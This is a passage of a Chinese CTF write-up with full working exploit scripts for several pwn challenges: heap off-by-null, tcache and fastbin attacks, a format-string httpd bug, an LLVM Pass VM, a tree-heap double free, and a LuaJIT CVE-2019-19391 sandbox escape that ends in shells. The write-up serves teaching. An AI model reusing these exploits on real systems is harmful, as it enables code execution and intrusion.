    p.sendlineafter(b"Your choice: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Your choice: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())
    
def stkof(length, payload):
    p.sendlineafter(b"Your choice: ", b"666")
    p.sendline(str(length))
    p.send(payload)
    
def exp():
    global p
    
    #p = process("./hardstack_patch", env={"LD_PRELOAD":"./libc-2.27.so"})
    p = remote("172.35.6.14", 9999)
    #p.settimeout(1)
    
    #gdb.attach(p, "b *0x400C4C\nc\n") #stkof
    #chunk_list: 0x6020D0
    #stdout: 0x00007ffff7dce760
    #leak: 0x00007ffff7dce090
    
    # attack IO_FILE
    ## prepare
    new(0xf, 0xda0)
    new(0, 0x1) #0
    new(1, 0x1) #1
    new(2, 0x28) #2
    new(3, 0x28) #3
    new(4, 0x28) #4
    new(5, 0x410) #5
    new(6, 0x10) #6 split
    delete(5)
    new(7, 0x2) #6->4
    
    ## build
    delete(0)
    delete(1)
    delete(2)
    delete(3)
    delete(4)
    edit(1, b"\xb0")
    
    new(8, 0x1)
    new(9, 0x1)
    edit(9, b"\xe0")
    edit(7, b"\x30\xdc")
    
    ## get
    new(10, 0x20)
    new(11, 0x20)
    new(12, 0x20)

    edit(12, p64(0x400b20)+p64(0)*3)
    edit(12, p64(0x400a20)+p64(0)*3)

    
    # leak
    new(13, str(0x601FD0))
    malloc = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = malloc - 0x97140
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    gets = libc_base + libc.symbols[b"gets"]
    print("malloc:", hex(malloc))
    print("libc:", hex(libc_base))
    print("binsh:", hex(binsh))
    print("system:", hex(system))
    #new(13, str(0x601FD0))
    edit(12, p64(gets)+p64(0)*3)
    new(14, 0x6020d0)
    p.sendline(b"/bin/sh\x00"+p64(0)*3)
    #gdb.attach(p, "b *0x400b4b")
    edit(12, p64(system)+p64(0)*3)
    new(1, 0x6020d0)

    p.sendline(b"cat flag; cat flag;")
    p.interactive()
    

if __name__ == "__main__":
    while True:
        exp()

lua

套了一个sandbox

LuaJIT版本2.1.0-beta3 2017

复现CVE-2019-19391: https://github.com/LuaJIT/LuaJIT/pull/526

原POC还差写地址的部分

Type confusion 偏移到os.execute来bypass sandbox

exp:

local str = "123456789"
-- local bit = require("bit")
local bit_band   = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge  = math.huge
function UInt32sToDouble(low, high)
    local negative = false
    
    if high >= 0x80000000 then
        negative = true
        high = high - 0x80000000
    end
    
    local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
    local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
    
    local f
    if biasedExponent == 0x0000 then
        f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
    elseif biasedExponent == 0x07FF then
        f = mantissa == 0 and math_huge or(math_huge - math_huge)
    else
        f = math_ldexp(1 + mantissa, biasedExponent - 1023)
    end
    
    return negative and -f or f
end
local obj_address = tonumber(string.format( "%p", str ), 16) + 12
print(string.format( "%p", str ))
address = UInt32sToDouble( obj_address, 0 )
local func = debug.getinfo( 0, ">f", address ).func
print(func)
-- This is supposed to get the environment of the function
-- but it allows us to read memory by formatting the address
-- into a pointer
local length = debug.getfenv( func )
-- Format the address into a pointer
-- prints 4, the length of the string
-- print(string.format( "%p", length))
print("read memory:")
-- print( tonumber( string.format( "%p", length), 16 ) ) 
print(string.format( "%p", length)) 
function read_mem(mem_addr)
    mem_addr = mem_addr - 8
    address = UInt32sToDouble( mem_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    local length = debug.getfenv( func )
    return string.format( "%p", length)
end 
function exec_addr(e_addr, fake_argv)
    -- e_addr = e_addr - 8 
    address = UInt32sToDouble( e_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    func(fake_argv)
    print("exec successfully!!!")
end 
-- print(read_mem(obj_address - 4 - 0x10 + 4 ))
function addr_of(fake_obj)
    -- local o_address = tonumber(string.format("%p", fake_obj), 16)
    local o_address = string.format("%p", fake_obj)
    return o_address
end
function todo()
    print("hi,happy.")
end
print("addr of ipairs")
func_addr_of_ipairs = addr_of(ipairs)
print(ipairs)
print("addr of:")
func_addr_of_exec_addr = addr_of(exec_addr)
print(func_addr_of_exec_addr)
print("delta:")
print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_ipairs))
-- print(string.format("0x%x", func_addr_of_real_os_execute -func_addr_of_ipairs ))
-- func_addr_of_real_os_execute -func_addr_of_ipairs = 0x2540
-- print(string.format("0x%x", func_addr_of_load - func_addr_of_ipairs))
-- func_addr_of_load - func_addr_of_ipairs = 0x4b8
-- print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_load))
print("content:")
print(read_mem(func_addr_of_exec_addr))
-- exec_addr(obj_address)
function Sleep(n)
    local t0 = os.clock()
    while os.clock() - t0 <= n do end
 end
-- Sleep(20)
function faking_func() 
    print("fake me!!!")
end
local fake_args = function() print("exe_me!") end
-- load(fake_args)
-- exec_addr
-- exec_addr(addr_of(faking_func) , nil)
-- calc_load_addr = func_addr_of_ipairs + 0x4b8
calc_exec_addr = func_addr_of_ipairs + 0x2540
exec_addr(calc_exec_addr, "cat flag")

这是津门杯 2021的一个pwn

题目很明显的off-by-null,第一思路肯定是:构造unlink->overlap->leak->tcache_attack。

但是由于是strcpy向堆内存中复制,所以不能同时构造prev_sizesize域。首先很自然的想到了循环递减字符的方法清空prev_size,然后写入需要的值。但是想错了一个地方,我以为所有堆块在释放前都要被检查inuse(p),这样使得循环递减的方法无法使用(因为这需要先溢出覆盖好sizenot inuse标志)。但是查阅源码后发现,如果不定义MALLOC_DEBUG的话,是不会有这个检查的,所以是我多虑了。

整理思路之后确定:用两个unsorted chunk夹住一个unsorted chunk和一个tcache chunk,unlink构造overlap之后用被夹住的unsorted chunk泄露地址,用tcache chunktcache attack__free_hook

吸取经验,ptmalloc各个流程的检查还是要明晰一下的。

exp on Ubuntu16.04

from pwn import *

p = process("./pwn")
#p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000+0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")

    # build overlapping

    add(b"AAAA", 0x90, b"unsorted", 100) #0
    add(b"AAAA", 0x68, b"vuln", 100) #1
    add(b"AAAA", 0x68, b"vuln", 100) #2
    add(b"AAAA", 0xf0, b"AAAA", 100) #3
    add(b"split", 0x10, b"split", 100) #4
    #delete(0) into unsorted bin

    delete(2)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #2
    for i in range(7, -1, -1):
        delete(2)
        add(b"AAAA", 0x68, b"a"*(0x60+i), 100) #2
    delete(2)
    add(b"AAAA", 0x68, b"a"*0x60 + p64(0x180), 100) #2
    delete(0)
    delete(3) # unlink

    # leak libc
    add(b"BBBB", 0x90, b"BBBB", 100) #0
    #add(b"BBBB", 0x68, b"BBBB", 100) #0
    gdb.attach(p)
    show(1)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 88 - 0x10 - libc.symbols[b"__malloc_hook"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    one_gadget = libc_base + 0x4527a
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("one_gadget:", hex(one_gadget))

    # fastbin attack
    add(b"BBBB", 0x68, b"BBBB", 100) #3
    add(b"BBBB", 0x68, b"BBBB", 100) #5
    delete(1)
    delete(5)
    delete(3)

    add(b"tmp", 0x68, p64(fake_chunk), 100) #6
    add(b"tmp", 0x68, "tmp", 100) #7
    add(b"tmp", 0x68, "tmp", 100) #8
    add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9
    print("malloc_hook:", hex(malloc_hook))

    # getshell
    delete(2)
    add(b"tmp", 0x68, "tmp", 100, False) #2


    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

exp on ubuntu18.04

from pwn import *

#p = process("./pwn")
p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000+0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")

    # build overlapping

    for i in range(7):
        add(b"AAAA", 0xf0, b"unsorted", 100) #0-6
    add(b"AAAA", 0xf0, b"unsorted", 100) #7
    add(b"AAAA", 0x68, b"vuln", 100) #8
    add(b"AAAA", 0xf0, b"unsorted", 100) #9
    for i in range(6):
        delete(i) #del 0-5
    delete(7)
    add(b"split", 0x10, b"split", 100) #0 split
    delete(6) 

    ## offbynull
    delete(8)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #1  
    ## make up prev_size  
    for i in range(8):
        delete(1)
        add(b"AAAA", 0x68, b"a"*(0x68-i), 100) #1
    delete(1)
    add(b"AAAA", 0x68, b"a"*0x60+p64(0x270), 100) #1
    delete(9) #delete 9 unlink
    #gdb.attach(p)

    # leak libc
    add(b"show", 0xf0, b"show", 100) #2
    add(b"BBBB", 0xd0, b"BBBB", 100) #3
    add(b"BBBB", 0x10, b"BBBB", 100) #4
    show(2)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 96 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))

    # tcache attck
    add(b"tmp", 0x68, b"tmp", 100) #5
    delete(5)
    delete(1)
    add(b"BBBB", 0x80, b"BBBB", 100) #1
    add(b"BBBB", 0x160, p64(free_hook), 100) #5

    # rewrite freehook
    add(b"CCCC", 0x68, b"/bin/sh\x00", 100) #6
    add(b"CCCC", 0x68, p64(system), 100) #7
    print("free_hook:", hex(free_hook))
    delete(6)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

题目很有意思,学到很多

parser

这题是一个魔改的httpd,Content-Length小于0时存在格式化串漏洞,leak后写one_gadget即可

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12435)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

req_base = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

aaaaa'''

req_leak = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

||%8$p||%15$p||%213$p||
'''

def send_req(request):
    p.sendafter(b"> ", request)

def exp():
    # leak stack libc image_base
    send_req(req_leak)
    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop = True), 16)
    image_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_base = libc_leak - 0x21b97
    image_base = image_leak - 0x14a8
    one_gadget = libc_base + 0x4f3c2
    system = libc_base + libc.symbols[b"execve"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    pop_rdi_ret = image_base + 0x16a3
    pop_rsi_ret = libc_base + 0x23e8a
    pop_rdx_ret = libc_base + 0x1b96
    print("stack_leak:", hex(stack_leak))
    print("image_leak:", hex(image_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("image_base:", hex(image_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))

    # attack_ret_addr

    main_ret = 0x5a8 + stack_leak
    print("main_ret:", hex(main_ret))

    for i in range(6):
        payload = req_base.encode()
        payload += ("%{}c".format(((libc_base+0x10a45c >> (8*i) ) & 0xff) -5).encode() + b"%27$hhn").ljust(32, b"A")
        payload += p64(main_ret+i)
        print(len(payload))
        send_req(payload)

    # trigger main_ret->one_gadget
    send_req("11111")

    # ./getflag
    p.interactive()

if __name__ == "__main__":
    exp()

simpleVM

这里的漏洞出在LLVM Pass,LLVM核心库提供了一些"Pass"类让开发者可以去继承然后实现想要的功能。主要的作用就是把编译过程中间的IR喂给自定义的Pass从而进行一些针对性的、机器无关的优化。这题的Pass实现了一个由push pop store load add min组成的虚拟机,由于没有边界限制,且主程序没开PIE保护,所以很容易进行任意地址读写。

README.txt

Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`

exp.c

void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
    add(1, 0x77e100);
    load(1);
    add(2, 0x72a9c);
    store(1);
}

exp.bc

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define void @o0o0o0o0() #0 {
  call void @add(i32 1, i32 7856384)
  call void @load(i32 1)
  call void @add(i32 2, i32 469660)
  call void @store(i32 1)
  ret void
}

declare void @add(i32, i32) #1

declare void @load(i32) #1

declare void @store(i32) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}

manager

用二叉树管理内存的堆题,特定条件下删根节点会double free。

伪代码看的我血压升高,直接调确定一种情况比如根节点有左右节点,且右节点有两个叶子。这样free掉根节点时会出现loop chain。慢慢利用就行。

exp

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"

# header: 0x555555554000+0x202018

def add(key:int, length:int, content):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"key> ", str(key).encode())
    p.sendlineafter(b"len> ", str(length).encode())
    p.sendafter(b"content> ", content)

def delete(key:int):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"key> ", str(key).encode())

def show():
    p.sendlineafter(b"> ", b"3")

def exp():
    # leak libc
    add(1, 0x420, b"unsorted")
    add(2, 0x420, b"unsorted2")
    delete(1)
    delete(2)
    add(5, 0x10, b"5"*8)
    show()
    p.recvuntil(b"55555555")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ec090
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    # build double free
    add(7, 0x10, b"7"*8)
    add(6, 0x10, b"6"*8)
    add(4, 0x10, b"4"*8)
    add(8, 0x10, b"8"*8)
    delete(8)

    delete(5)
    add(10, 0x10, p64(free_hook))
    add(11, 0x10, b"/bin/sh\x00")
    add(12, 0x10, p64(system))
    print("free_hook:", hex(free_hook))

    delete(11)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()